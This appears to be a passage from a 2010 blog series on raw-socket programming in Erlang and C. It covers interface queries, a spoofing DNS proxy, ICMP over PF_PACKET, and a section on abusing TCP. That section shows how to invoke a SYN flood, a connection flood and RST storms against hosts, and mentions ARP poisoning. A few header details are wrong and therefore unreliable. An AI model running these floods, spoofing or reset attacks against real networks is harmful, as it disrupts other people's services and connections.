    struct ifreq ifr = {0};
    char *dev = NULL;
    struct sockaddr *sa;

    dev = strdup((argc == 2 ? argv[1] : "eth0"));

    if (dev == NULL)
        err(EXIT_FAILURE, "strdup");

    if ( (s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
        err(EXIT_FAILURE, "socket");

    (void)memcpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);

    if (ioctl(s, SIOCGIFHWADDR, &ifr) < 0)
        err(EXIT_FAILURE, "ioctl");

    sa = (struct sockaddr *)&ifr.ifr_hwaddr;

    (void)printf("%02x:%02x:%02x:%02x:%02x:%02x\n",
            sa->sa_data[0], sa->sa_data[1], sa->sa_data[2], sa->sa_data[3],
            sa->sa_data[4], sa->sa_data[5]);

    free(dev);

    exit (EXIT_SUCCESS);

}

The equivalent in Erlang uses procket:ioctl/2

macaddress(Socket, Dev) ->
    {ok, <<_Ifname:16/bytes,
        ?PF_INET:16,                       % family
        SM1,SM2,SM3,SM4,SM5,SM6,    % mac address
        _/binary>>} = procket:ioctl(Socket,
        ?SIOCGIFHWADDR,
        list_to_binary([
                Dev, <<0:((15*8) - (length(Dev)*8)), 0:8, 0:128>>
            ])),
    {SM1,SM2,SM3,SM4,SM5,SM6}.

Results may differ depending on the endian-ness of your platform.

Retrieving the IP Address of an Interface

The IP address of an interface can be obtained by another ioctl() with a request value of SIOCGIFADDR. In C:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <netinet/in.h>
#include <arpa/inet.h>

#include <net/if.h>


int
main(int argc, char *argv[])
{
    int s = -1;

    struct ifreq ifr = {0};
    char *dev = NULL;
    struct sockaddr_in *sa;

    dev = strdup((argc == 2 ? argv[1] : "eth0"));

    if (dev == NULL)
        err(EXIT_FAILURE, "strdup");

    if ( (s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
        err(EXIT_FAILURE, "socket");

    (void)memcpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
    ifr.ifr_addr.sa_family = PF_INET;

    if (ioctl(s, SIOCGIFADDR, &ifr) < 0)
        err(EXIT_FAILURE, "ioctl");

    sa = (struct sockaddr_in *)&ifr.ifr_hwaddr;

    (void)printf("%s\n", inet_ntoa(sa->sin_addr));

    free(dev);

    exit (EXIT_SUCCESS);

}

And the Erlang version:

ipv4address(Socket, Dev) ->
    {ok, <<_Ifname:16/bytes,
        ?PF_INET:16/native, % sin_family
        _:16,               % sin_port 
        SA1,SA2,SA3,SA4,    % sin_addr
        _/binary>>} = procket:ioctl(Socket,
            ?SIOCGIFADDR,
            list_to_binary([
                Dev, <<0:((15*8) - (length(Dev)*8)), 0:8>>,
                <<?PF_INET:16/native,       % family
                0:112>>
            ])),
    {SA1,SA2,SA3,SA4}.

Looking Up an IP Address in the ARP Cache

ARP cache lookups can be done by using:

ioctl(socket, SIOCGARP, struct arpreq);

But utilities on Linux just seem to parse /proc/net/arp:

arplookup({IP1,IP2,IP3,IP4}) ->
    {ok, FD} = file:open("/proc/net/arp", [read,raw]),
    arploop(FD, inet_parse:ntoa({IP1,IP2,IP3,IP4})).

arploop(FD, Address) ->
    case file:read_line(FD) of
        eof ->
            file:close(FD),
            not_found;
        {ok, Line} ->
            case lists:prefix(Address, Line) of
                true ->
                    file:close(FD),
                    M = string:tokens(
                        lists:nth(?HWADDR_OFF, string:tokens(Line, " \n")), ":"),
                    list_to_tuple([ erlang:list_to_integer(E, 16) || E <- M ]);
                false -> arploop(FD, Address)
            end
    end.

Getting a List of Interfaces

To get the list of interfaces on a system, yet another ioctl() is used, this time passing in SIOCGIFCONF and this structure as arguments:

struct ifconf
{
    int ifc_len;            /* Size of buffer.  */
    union
    {
        __caddr_t ifcu_buf;
        struct ifreq *ifcu_req;
    } ifc_ifcu;
};

Here is an example of retrieving the interface list in C.

The ioctl() takes, as an argument, a structure using a length and a pointer to a buffer. procket doesn't have a way of allocating a piece of memory though it could be modified to have an NIF that allocates a binary and returns the address of the binary as an integer. Functions could then pass in the memory address but a buggy piece of Erlang code might pass in the wrong value and crash the VM. (Edit: The erl_nif interface in Erlang R14A supports safely passing a reference to a block of memory between functions using enif_alloc_resource() to create a "Resource Object".)

Instead, I simply parse the output of /proc/net/dev. For example, here is the output on my laptop:

$ cat /proc/net/dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo:  526441    3620    0    0    0     0          0         0   526441    3620    0    0    0     0       0          0
  eth0:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 wifi0:10960093   26897    0    0    0  1578          0         0   734661    4876    0    0    0     0       0          0
  ath0:14422892   12536    0    0    0     0          0         0   576599    4706    0    0    0     0       0          0

Even nastier than the arp cache lookup, since I resorted to using regular expressions.

iflist() ->
    {ok, FD} = file:open("/proc/net/dev", [raw, read]),
    iflistloop(FD, []).

iflistloop(FD, Ifs) ->
    case file:read_line(FD) of
        eof ->
            file:close(FD),
            Ifs;
        {ok, Line} ->
            iflistloop(FD, iflistmatch(Line, Ifs))
    end.

iflistmatch(Data, Ifs) ->
    case re:run(Data, "^\\s*([a-z]+[0-9]+):", [{capture, [1], list}]) of
        nomatch -> Ifs;
        {match, [If]} -> [If|Ifs]
    end.

Finding the Default Interface

In spood, I took the easy way and just sort of guessed. A proper solution would check the routing table. Instead I look for the first interface without a local IP address:

device() ->
    {ok, S} = procket:listen(0, [{protocol, udp}, {family, inet}, {type, dgram}]),
    [Dev|_] = [ If || If <- packet:iflist(), ipcheck(S, If) ],
    procket:close(S),
    Dev.

ipcheck(S, If) ->
    try packet:ipv4address(S, If) of
        {127,_,_,_} -> false;
        {169,_,_,_} -> false;
        _ -> true
    catch
        error:_ -> false
    end.

Update: Using the inet Module

After having gone through all the above, I discovered that the inet module, which is part of the Erlang standard library, is able to retrieve information about the local interfaces.

inet has 2 functions:

getiflist/0: retrieve a list of all the local interfaces, e.g., {ok, ["eth0", "eth1"]}
ifget/2: retrieve interface attributes. The arguments can be:
- addr: IP address of interface
- hwaddr: the MAC address of the interface. Works on Linux, doesn't work on Mac OS X (returns an empty list).
  (Update: I've submitted a patch to get the MAC address on Mac OS X)
- dstaddr
- netmask
- broadcast
- mtu
- flags: returns the interface status, e.g., [up, broadcast, running, multicast]

For example:

To get a list of interfaces:

1> inet:getiflist().
{ok,["lo","eth0","eth1"]}

To retrieve the IP and MAC addresses of an interface:

3> inet:ifget("eth0", [addr, hwaddr]).
{ok,[{addr,{192,168,1,11}},{hwaddr,[0,11,22,33,44,55]}]}

Update2: Using inet:getifaddrs/0

As of R14B01, Erlang has a supported, cross-platform method for retrieving interface attributes. The functions returns a list holding the interface information. For example:

1> inet:getifaddrs().
{ok,[{"lo",
      [{flags,[up,loopback,running]},
       {hwaddr,[0,0,0,0,0,0]},
       {addr,{127,0,0,1}},
       {netmask,{255,0,0,0}},
       {addr,{0,0,0,0,0,0,0,1}},
       {netmask,{65535,65535,65535,65535,65535,65535,65535,
                 65535}}]}]

Fun with Raw Sockets in Erlang: A Spoofing DNS Proxy

2010-06-24T22:04:00.010-04:00

UDP Header

UDP headers are specified as:

Source Port:16
Destination Port:16
Length:16
Checksum:16

The Source Port is a 2 byte value representing the originating port
The Destination Port is the 2 byte value specifying the target port
The Length is the size of the UDP header and packet in bytes. The size of the UDP header is 8 bytes.
The Checksum algorithm is the same as for TCP, involving the creation of an IP pseuduoheader.
If the length of the UDP packet is an odd number of bytes, the packet is zero padded with an additional byte only for checksumming purposes.

The equivalent UDP header in Erlang is:

<<SourcePort:16,
DestinationPort:16,
Length:16,
Checksum:16>>

The pseudo-header used for checksumming is:

Source Address:32
Destination Address:32
Zero:8
Protocol:8
UDP Packet Length:16
UDP Header and Payload1:8
...
UDP Header and PayloadN:8
optional padding:8

The Source Address from the IP header
The Destination Address from the IP header
The Protocol for UDP is 17
The UDP Packet Length in bytes, for both the UDP header and payload. The length of the IP pseudo-header is not included.
The UDP Header and Payload is the full UDP packet
If the UDP packet length is odd, an additional zero'ed byte is included for checksumming purposes. The extra byte is not used in the length computation or sent with the packet.
The length of the UDP packet is included in both the IP pseudo-header and the UDP header.
The checksum field of the UDP header is set to 0.

In Erlang, the pseudo-header is represented as:

<<SA1:8,SA2:8,SA3:8,SA4:8,  % bytes representing the IP source address
DA1:8,DA2:8,DA3:8,DA4:8,    % bytes representing the IP destination address
0:8,                        % Zero
6:8,                        % Protocol: TCP
UDPlen:16                % UDP packet size in bytes

SourcePort:16,
DestinationPort:16,
UDPlen:16,
0:16,
Data/binary,
0:UDPpad>>                  % UDPpad may be 0 or 8 bits

A Spoofing DNS Proxy

What?

spood is a spoofing DNS proxy with a vaguely obscene name. spood works by accepting DNS queries on localhost and then spoofing the source IP address of the DNS request using the Linux PF_PACKET interface. DNS replies are sniffed off the network and returned to localhost.

Why?

Maybe for using with IP over DNS tunnels?

How?

spood works with procket and epcap.

This Will Probably Be the First Page Returned For Searches For "Erlang Promiscuity"

While spood can run by spoofing its own IP address, it's more fun running it on a hubbed or public wireless network. To allow spood to sniff the network, I added support for setsockopt() to procket as an additional NIF. Promiscuous mode, under Linux, can be activated/deactivated globally by using an ioctl() or per application by using setsockopt(). To enable promiscuous mode, the application needs to call:

setsockopt(socket, SOL_PACKET, PACKET_ADD_MEMBERSHIP, (void *)&mreq, sizeof(mreq))

Though obtaining a PF_PACKET socket requires root privileges, performing the setsockopt() call on the socket does not. mreq is a struct packet_mreq:

struct packet_mreq {
    int            mr_ifindex;    /* interface index */
    unsigned short mr_type;       /* action */
    unsigned short mr_alen;       /* address length */
    unsigned char  mr_address[8]; /* physical layer address */
};

mr_ifindex is the interface index returned by doing an ioctl() in host endian format
mr_type is set to PACKET_MR_PROMISC in host endian format
the reminder of the struct is zero'ed

The Erlang version looks like:

-define(SOL_PACKET, 263).
-define(PACKET_ADD_MEMBERSHIP, 1).
-define(PACKET_DROP_MEMBERSHIP, 2).
-define(PACKET_MR_PROMISC, 1).

promiscuous(Socket, Ifindex) ->
    procket:setsockopt(Socket, ?SOL_PACKET, ?PACKET_ADD_MEMBERSHIP, <<
        Ifindex:32/native,              % mr_ifindex: interface index
        ?PACKET_MR_PROMISC:16/native,   % mr_type: action
        0:16,                           % mr_alen: address length
        0:64                            % mr_address[8]:  physical layer address
        >>).

Sniffing Packets

Sniffing packets involves running procket:recvfrom/2 in a loop. Erlang's pattern matching makes filtering the packets simple. One trick is retrieving the default nameservers in Erlang.

{ok, PL} = inet_parse:resolv(
    proplists:get_value(resolv_conf, inet_db:get_rc(), "/etc/resolv.conf")),
NS = proplists:get_value(nameserver, PL).

inet_db:get_rc() will return the path to the system resolv.conf file. inet_parse has an undocumented function to parse resolv.conf and return the attributes as list of key/value pairs.

Spoofing Packets

Spoofing packets is done by constructing a packet consisting of the Ethernet, IP and UDP header and payload.

dns_query(SourcePort, Data, #state{
    shost = {SM1,SM2,SM3,SM4,SM5,SM6},
    dhost = {DM1,DM2,DM3,DM4,DM5,DM6},
    saddr = {SA1,SA2,SA3,SA4},
    daddr = {DA1,DA2,DA3,DA4}
    }) ->

    Id = 1,
    TTL = 64,

    UDPlen = 8 + byte_size(Data),
    IPlen = 20 + UDPlen,

    IPsum = epcap_net:makesum(
        <<
        % IPv4 header
        4:4, 5:4, 0:8, IPlen:16,
        Id:16, 0:1, 1:1, 0:1,
        0:13, TTL:8, 17:8, 0:16,
        SA1:8, SA2:8, SA3:8, SA4:8,
        DA1:8, DA2:8, DA3:8, DA4:8
        >>
    ),

    UDPpad = case UDPlen rem 2 of
        0 -> 0;
        1 -> 8
    end,

    UDPsum = epcap_net:makesum(
        <<
        SA1:8,SA2:8,SA3:8,SA4:8,
        DA1:8,DA2:8,DA3:8,DA4:8,
        0:8,
        17:8,
        UDPlen:16,

        SourcePort:16,
        53:16,
        UDPlen:16,
        0:16,
        Data/binary,
        0:UDPpad
        >>),

    <<
    % Ethernet header
    DM1:8,DM2:8,DM3:8,DM4:8,DM5:8,DM6:8,
    SM1:8,SM2:8,SM3:8,SM4:8,SM5:8,SM6:8,
    16#08, 16#00,

    % IPv4 header
    4:4, 5:4, 0:8, IPlen:16,
    Id:16, 0:1, 1:1, 0:1,
    0:13, TTL:8, 17:8, IPsum:16,
    SA1:8, SA2:8, SA3:8, SA4:8,
    DA1:8, DA2:8, DA3:8, DA4:8,

    % UDP header
    SourcePort:16,
    53:16,
    UDPlen:16,
    UDPsum:16,
    Data/binary
    >>.

Running spood

Setup isn't all automatic yet (but see the README, maybe this has changed). After everything is compiled, find the MAC and IP address of your client and name server. Then run:

erl -pa ebin deps/*/ebin
1> spood:start("eth0",
    {{16#00,16#aa,16#bb,16#cc,16#dd,16#ee}, {list, [{192,168,100,100}, {192,168,100,101}]}},
    {{16#00,16#11,16#22,16#33,16#44,16#55}, {192,168,100,1}}).

Where:

The first argument is your interface device name
The second argument is a 2-tuple composed of your source MAC address and a representation of what should be used for your client IP address. Unless you're ARP spoofing or have published the ARP entries yourself, the IP's should be of clients on the network.

The second argument can be a tuple or a string representing an IP or a tuple consisting of the keyword "list" followed a list of IP addresses. The source IP for each query will be randomly chosen from the list.
The third argument is the name server MAC and IP address

Then test it:

$ nslookup
> server 127.0.0.1
Default server: 127.0.0.1
Address: 127.0.0.1#53
> www.google.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Non-authoritative answer:
www.google.com  canonical name = www.l.google.com.
Name:   www.l.google.com
Address: 173.194.33.104

If you happen to be running the sods client, you can use the DNS proxy by using the "-r" option:

sdt -r 127.0.0.1 sshdns.s.example.com

Update: Well, I've tested spood in the wild now and made a few changes. By default, spood will discover the IP addresses on your network and add them to the list of source addresses to spoof. spood now takes a proplist as an argument. However, if no argument is passed, spood will try to figure out your network by:

guessing which interface device to use
finding the MAC and IP address assigned to the device
looking up the MAC address of the name server in the ARP cache

The arguments to spood:start/1 is a proplist consisting of:

{dev, string() | undefined}
{srcmac, tuple()}
{dstmac, tuple()}
{saddr, tuple() | string() | discover | {discover, list()} | {list, list()}}
{nameserver, tuple() | undefined}

Or call spood:start() to use the defaults.

Fun with Raw Sockets in Erlang: Abusing TCP

2010-06-20T16:12:00.018-04:00

TCP Packet Structure

A TCP header is represented by:

Source Port:16
Destination Port:48
Sequence Number:32
Acknowledgement Number:32
Data Offset:4
Reserved:4
Congestion Window Reduced (CWR):1
ECN-Echo (ECE):1
Urgent (URG):1
Acknowledgement (ACK):1
Push (PSH):1
Reset (RST):1
Synchronize (SYN):1
Finish (FIN):1
Window Size:16
TCP Pseudo-Header Checksum:16
Urgent Pointer:16
Options:0-320

The Data offset is the length of the TCP header and in 32-bit words, i.e., multiply the offset by 4 to get the number of bytes.
The CWR and ECE flags were added in RFC 3168.
The TCP checksum is calculated by forming a pseudo-header from attributes of the IP header prepended to the TCP header and payload. When performing the checksum, the TCP checksum field is set to 0.
An offset greater than 5 (20 bytes for the mandatory header elements) indicates the presence of (offset-5)*4 bytes of TCP Options in the header. Since the offset field is 4 bits, the maximum value of the offset field is 15, allowing for up to 40 bytes of options. Options are not used in the examples below.

The equivalent TCP header in Erlang is:

<<SPort:16, DPort:16,
SeqNo:32,
AckNo:32,
Off:4, 0:4, CWR:1, ECE:1, URG:1, ACK:1,
PSH:1, RST:1, SYN:1, FIN:1, Win:16,
Sum:16, Urp:16>>

The pseudo-header can be illustrated as:

Source Address:32
Destination Address:32
Zero:8
Protocol:8
TCP Header Length:16
TCP Header and Payload:1
...
TCP Header and Payload:N

The Source Address from the IP header.
The Destination Address from the IP header.
The Protocol as specified by the IP header. For TCP, the value will be 6.
The TCP Header Length in bytes. The length of the IP pseudo-header is not included.
The TCP Header and Payload contains the full TCP packet.

In Erlang, the IP pseudo-header is represented as:

<<SA1:8,SA2:8,SA3:8,SA4:8,  % bytes representing the IP source address
DA1:8,DA2:8,DA3:8,DA4:8,    % bytes representing the IP destination address
0:8,                        % Zero
6:8,                        % Protocol: TCP
(TCPoff * 4):16>>           % TCP packet size in bytes

Exhausting Server Resources

TCP is stateful, requiring the client and server to allocate resources to manage each phase of the connection. A TCP connection is established by synchronizing the sequence numbers of the client and server.

The client sends a 20 byte TCP packet:
- the SYN bit is set to 1
- a randomly chosen sequence number
- the acknowledgment number set to 0
- no payload
The client goes into state "SYN_SENT".
The server replies with:
- the SYN bit set to 1
- the ACK bit set to 1
- a randomly chosen sequence number
- the acknowledgement number is set to the client's sequence number, incremented by 1
- no payload
The server goes into state "SYN_RECEIVED".
The client replies with:
- the SYN bit set to 0
- the ACK bit set to 1
- the sequence number (the acknowledgement number returned by the server)
- the acknowledgement number, the sequence number of the server incremented by the size in bytes of the payload
- an optional payload
The client goes into state "ESTABLISHED"

Each phase of the connection needs to be tracked by the operating system. For example, if the initial SYN packet sent by the client does not result in a response, the client will resend the SYN packet, typically up to 3 times, before returning a timeout error.

On the server, if the SYN ACK is not ACK'ed by the client, the server must periodically attempt to re-send the SYN-ACK packet before freeing the resources allocated to this connection.

The resources required for tracking these connections, although small, can be exhausted either through high demand or a denial of service attack using several simple, well known attacks.

SYN flood: Sending a large number of requests to initiate a TCP connection will prevent the server from accepting connections from legitimate clients.
connection flood: Usually a client is limited in the number of connections it can open to a server; for example, by the number of available file descriptors. If the client can track the connections statelessly, a single client can overwhelm the server.

Preparation

We'll use procket to pass the raw sockets into Erlang. To see how the packets are sent, see this tutorial.

procket uses the PF_PACKET socket interface, so these examples are Linux specific. I ran them on an Ubuntu 8.04 system. The functions in this source file can be used to send the Erlang binaries.
I've tried to make the examples as self-contained as possible, but for parsing the packets and converting them into Erlang records, you'll need a copy of epcap_net.erl and epcap_net.hrl from epcap.
On a hubbed network, like public 802.11 networks, you should be able to assign any IP address and act on the replies.
If you are on a switched network or on an 802.11 network pretending to be switched (WEP/WPA security), you'll only be able to sniff replies to your assigned IP address. Or you can use ARP poisoning, ettercap works well.

SYN Flood

A SYN flood simply sends a large number of TCP packets with the SYN bit set to a target port. The source port, sequence number and (potentially) source IP address can be randomly assigned. However, the source IP address should be non-existent. Any client listening on that IP will RST the connection when the server SYN ACK's, causing the server to deallocate all resources associated with the embryonic session. syn takes these arguments:

Device name
Source 3-tuple
- Source MAC address
- IP address
- Source port, can be 0 to randomly choose a port
Destination 3-tuple
- Destination MAC address
- IP address
- Source port, can be 0 to randomly choose a port
Number of SYN packets to be sent

1> syn:flood("ath0",
        {{16#00,16#15,16#af,16#59,16#08,16#26}, {192,168,213,213}, 0},
        {{16#00,16#16,16#3E,16#E9,16#04,16#06}, {192,168,213,7}, 8080}, 10).
ok

msantos@ecn:~$ netstat -an |grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN
tcp        0      0 192.168.213.7:8080      192.168.213.213:18868   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:5705    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:60884   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:49723   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:1362    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:53146   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:57667   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:37629   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:7937    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:58975   SYN_RECV

Connection Flood

A connection flood works by sending a number of SYN packets to the destination port. The server will reply with a SYN-ACK. The client monitors the network for any replies from the destination port with the ACK bit set and sends an acknowledgement in response. For an example of this behaviour, see drench, a utility written in C using libnet. The Erlang version is simpler, smaller and much more elegant. On a switched network, you won't be able to sniff the replies to spoofed IP addresses. To run a connection flood, you'll need to adjust your firewall to drop RST packets. Since I'm using Ubuntu, I used the simple firewall interface, ufw.

$ ufw enable
$ iptables -I ufw-before-output -p tcp --tcp-flags RST RST --destination-port 8080 -j DROP

Spawn a process to respond to ACK's. ack takes 2 arguments:

Device name
Port

For example, if you are listening on the eth0 device for packets with a target port of 8080:

1> spawn(ack, start, ["eth0", 8080]).
<0.34.0>

Then send out SYN packets:

2> syn:flood(). % send out 10 SYN packets
ok

Checking the target host shows a number of connections in the ESTABLISHED state:

msantos@ecn:~$ netstat -an |grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN
tcp        0      0 192.168.213.7:8080      192.168.213.213:50691   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:49955   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:12017   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:13662   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:35611   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:57062   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:11549   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:30963   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:41435   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:5591    ESTABLISHED

Resetting Connections

TCP reset storms can be used on hubbed networks to bring down other client's TCP connections. I call this peer-to-peer QoS. For comparison, here is another version of rst written in C using libnet. rst takes 2 arguments:

Device name
IP address to be excluded (to avoid resetting your own connections)

1> rst:start("eth0", {127,0,0,1}).

$ ssh 192.168.213.7
Read from socket failed: Connection reset by peer

Fun with Raw Sockets in Erlang: Sending ICMP Packets

2010-06-14T19:58:00.001-04:00

I've covered pinging other hosts before using the IPPROTO_ICMP protocol and raw sockets, all in Erlang.

Now I'd like to go through the exercise of sending ICMP echo packets using the Linux PF_PACKET interface. The process is somewhat tedious and complicated, so this post will reflect this, but it should be helpful since documentation for PF_PACKET tends to be a bit sparse.

Even if you're only interested in the PF_PACKET C interface, this tutorial should be helpful. But you'll have to read a bit and mentally censor the Erlang bits.

Erlang Binaries vs C structs

To provide a direct interface to sendto(), I've added an NIF interface for Erlang in procket.

The procket sendto() interface is system dependent, relying on the layout of your computer's struct sockaddr. struct sockaddr is typically constructed as follows:

struct sockaddr {
    sa_family_t     sa_family;      /* unsigned short int */
    char            sa_data[14];    /* buffer holding data, dependent on socket type */
}

The data held in the sa_data member of struct sockaddr varies based on the different socket types. For example, for a typical internet socket, a struct sockaddr_in socket address is used:

struct sockaddr_in {
    sa_family_t     sin_family;
    in_port_t       sin_port;
    struct          in_addr sin_addr;
    char            sin_zero[8];
}

Of course, these structures will vary by platform. On Linux, aside from a few inscrutable macros, the layout is similar to those shown above. BSD's, such as Mac OS X, add another structure member with the size of the structure:

u_int8_t sin_len

The appearance and placement of this attribute will cause a lot of portability problems for you if you need to get code running on different OS'es. And it's only natural, since in this tutorial we are bypassing the normal library interfaces.

So, just remember, PF_PACKET is pretty much a Linux specific interface, so we will be concentrating on the Linux eccentricities.

An Erlang Interface to sendto()

According the man page, sendto() takes the following arguments:

ssize_t sendto(
        int s,
        const void *buf,
        size_t len,
        int flags,
        const struct sockaddr *to,
        socklen_t tolen
        )

s is the file descriptor, representing the socket returned by open().
buf is the payload to be sent in the packet.
len is the size of the buffer in bytes.
flags is the result of OR'ing together integers which affects the behaviour of the socket. Typically, flags is set to 0.
struct sockaddr is a buffer based on the type of socket. It is cast to the "generic" sockaddr structure. Different types of socket addresses are, for example, sockaddr_in for Internet sockets, sockaddr_un for Unix (local) sockets and sockaddr_ll for link layer sockets. We'll be looking at sockaddr_in sockets in this section and sockaddr_ll sockets when investigating sending out packets using the PF_PACKET raw socket interface later on.

It's worth noting that

sendto(socket, buf, buflen, flags, NULL, 0)

is equivalent to

send()

and

sendto(socket, buf, buflen, 0, NULL, 0)

is equivelent to

write()

With a bit of tweaking (may have to change the procket NIF a bit), we'll be able to use the sendto() to do both send()'s and write()'s in the future (both can be used when the socket has been already been bound using bind()). The procket Erlang sendto/4 interface looks like this:

sendto(Socket, Packet, Flags, Sockaddr)

Where:

Socket is an integer returned from procket:open/1 representing the file descriptor.
Packet is a binary holding the packet payload.
Flags is the result of OR'ing the socket options. See the sendto() man page for the possible parameters.
Sockaddr is an Erlang binary representation of the sockaddr structure for the type of socket in use.

An Example of Using sendto/4

In the original example of sending an ICMP echo packet from Erlang, we (mis-)used gen_udp to send and receive ICMP packets. Here is an example of sending ICMP packets using the sendto/4 NIF: To send the ICMP packet using sendto/4, we must create the struct sockaddr_in as an Erlang binary. In linux/in.h, the structure is defined as:

struct sockaddr_in {
    sa_family_t     sin_family; /* Address family: 2 bytes */
    in_port_t       sin_port;   /* Port number: 2 bytes */
    struct in_addr  sin_addr;   /* Internet address: 4 bytes */

    /* Pad to size of `struct sockaddr'. */
    unsigned char   sin_zero[8];
};

Both sa_family_t and in_port_t are 2 bytes. The total size of the struct is 16 bytes. The Erlang binary used to represent this is:

<<
?PF_INET:16/native,             % sin_family
0:16,                           % sin_port
IP1:8, IP2:8, IP3:8, IP4:8,     % sin_addr
0:64                            % sin_zero
>>

The value of the PF_INET macro (or 2) is taken from bits/socket.h. The value of the different PF_* macros is always in native endian format.
Since we are sending an ICMP packet, the port has no meaning and is set to 0.
IP1 through IP4 refer to the components of an IPv4 address, represented in Erlang as a 4-tuple of bytes such as {192,168,10,1}.
The sin_zero member is always set to 8 zero'ed bytes.

The corresponding NIF function can be found in procket.c:

static ERL_NIF_TERM
nif_sendto(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[])
{
    int sockfd = -1;
    int flags = 0;

    ErlNifBinary buf;
    ErlNifBinary sa;


    if (!enif_get_int(env, argv[0], &sockfd))
        return enif_make_badarg(env);

    if (!enif_inspect_binary(env, argv[1], &buf))
        return enif_make_badarg(env);

    if (!enif_get_int(env, argv[2], &flags))
        return enif_make_badarg(env);

    if (!enif_inspect_binary(env, argv[3], &sa))
        return enif_make_badarg(env);

    if (sendto(sockfd, buf.data, buf.size, flags, (struct sockaddr *)sa.data, sa.size) == -1)
        return enif_make_tuple(env, 2,
            atom_error,
            enif_make_tuple(env, 2,
            enif_make_int(env, errno),
            enif_make_string(env, strerror(errno), ERL_NIF_LATIN1)));

    return atom_ok;
}

The nif_sendto() function takes the Erlang binary and casts it to a sockaddr structure.

Tedium, or the Perils of Constructing Packets by Hand

When requesting a file descriptor using socket(), the PF_PACKET interface allows the user to construct either whole ethernet frames (using the SOCK_RAW type) or cooked packets to which the kernel will prepend ethernet headers (using the SOCK_DGRAM type). I had some problems with SOCK_DGRAM packets which I'll probably talk about in another blog post. But for now, I'll describe how to create ICMP echo packets using the PF_PACKET SOCK_RAW type. To get a file descriptor with the appropriate settings from procket:

{ok, FD} = procket:listen(0, [{protocol, 16#0008}, {type, raw}, {family, packet}])

Notice that, since I'm on a little endian platform, I byte swapped the defintion of ETH_P_IP to big endian format.

Retrieving the Interface Index

To figure out the index of our interface, we need to call an ioctl(). Conveniently, procket provides an NIF ioctl() interface. The C ioctl() interface is defined as:

int ioctl(int d, int request, ...);

d is the file descriptor.
request is an integer representing a device dependent instruction.
The remaining argument to ioctl() is usually a buffer holding a device dependent structure. In this case, we will pass an ifreq structure. The buffer acts as both the input and output for the ioctl.

struct ifreq, as defined in net/if.h, is composed of 2 unions.

struct ifreq
{
# define IFHWADDRLEN    6
# define IFNAMSIZ   IF_NAMESIZE
    union
    {
        char ifrn_name[IFNAMSIZ];   /* Interface name, e.g. "en0".  */
    } ifr_ifrn;

    union
    {
        struct sockaddr ifru_addr;
        struct sockaddr ifru_dstaddr;
        struct sockaddr ifru_broadaddr;
        struct sockaddr ifru_netmask;
        struct sockaddr ifru_hwaddr;
        short int ifru_flags;
        int ifru_ivalue;
        int ifru_mtu;
        struct ifmap ifru_map;
        char ifru_slave[IFNAMSIZ];  /* Just fits the size */
        char ifru_newname[IFNAMSIZ];
        __caddr_t ifru_data;
    } ifr_ifru;
};

But to get the interface index, we're only interested in these struct members:

struct ifreq {
    char ifrn_name[16];
    int  ifr_ifindex;
}
# define ifr_name   ifr_ifrn.ifrn_name  /* interface name   */
# define ifr_ifindex    ifr_ifru.ifru_ivalue    /* interface index      */

In Erlang terms, we can pass in the full 32 byte structure (only 4 bytes of the second union is actually used). On input, if we are interested in using the "eth0" interface:

<<
"eth0", 96:0,   % ifrn_name, 16 bytes
0:128           % ifr_ifru union for the response, 16 bytes
>>

On output:

<<
"eth0", 96:0,   % ifrn_name, 16 bytes
Ifr:32,         % interface index
0:96            % unused
>>

So, to retrieve the value in Erlang:

{ok, <<_Ifname:16/bytes, Ifr:32, _/binary>>} = procket:ioctl(S,
    ?SIOCGIFINDEX,
    list_to_binary([
            Dev, <<0:((16*8) - (length(Dev)*8)), 0:128>>
        ])),

Dev is a list holding the device name, such as "eth0" or "ath0".
Ifr is the part of the binary holding the interface index returned by the ioctl().

The corresponding NIF function can be found in procket.c:

static ERL_NIF_TERM
nif_ioctl(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[])
{
    int s = -1;
    int req = 0;
    ErlNifBinary ifr;


    if (!enif_get_int(env, argv[0], &s))
        return enif_make_badarg(env);

    if (!enif_get_int(env, argv[1], &req))
        return enif_make_badarg(env);

    if (!enif_inspect_binary(env, argv[2], &ifr))
        return enif_make_badarg(env);

    if (!enif_realloc_binary(env, &ifr, ifr.size))
        return enif_make_badarg(env);

    if (ioctl(s, req, ifr.data) < 0)
        return error_tuple(env, strerror(errno));

    return enif_make_tuple(env, 2,
            atom_ok,
            enif_make_binary(env, &ifr));
}

The nif_ioctl() function takes, as arguments, the socket descriptor and a binary buffer representing the ifreq structure. The binary is made writable, passed to ioctl() and returned to the caller.

Preparing the ICMP Packet
